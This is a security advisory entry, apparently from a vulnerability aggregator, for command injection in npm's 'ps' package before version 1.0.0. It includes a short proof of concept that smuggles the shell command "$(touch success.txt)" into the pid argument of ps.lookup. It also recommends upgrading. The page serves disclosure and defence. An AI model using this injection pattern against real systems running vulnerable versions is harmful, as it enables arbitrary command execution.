cnvd-2019-42555

EUVD-2026-182490

fkie_cve-2018-16460

A command Injection in ps package versions <1.0.0 for Node.js allowed arbitrary commands to be executed when attacker controls the PID.

GHSA-cfhg-9x44-78h2 — ps Enables OS Command Injection

Affected: npm: ps

Versions of `ps` before 1.0.0 are vulnerable to command injection.

### Proof of concept: ```js var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection if (err) {throw err;} if (proc) { console.log(proc); // Process name, something like "node" or "bash" } else { console.log('No such process'); } });

// Result: The file success.txt will exist on the filesystem if the touch command was executed ```

## Recommendation

Update to version 1.0.0 or later.

Most recent entries from all

cnvd-2019-42555

EUVD-2026-182490

fkie_cve-2018-16460

GHSA-cfhg-9x44-78h2 — ps Enables OS Command Injection

gsd-2018-16460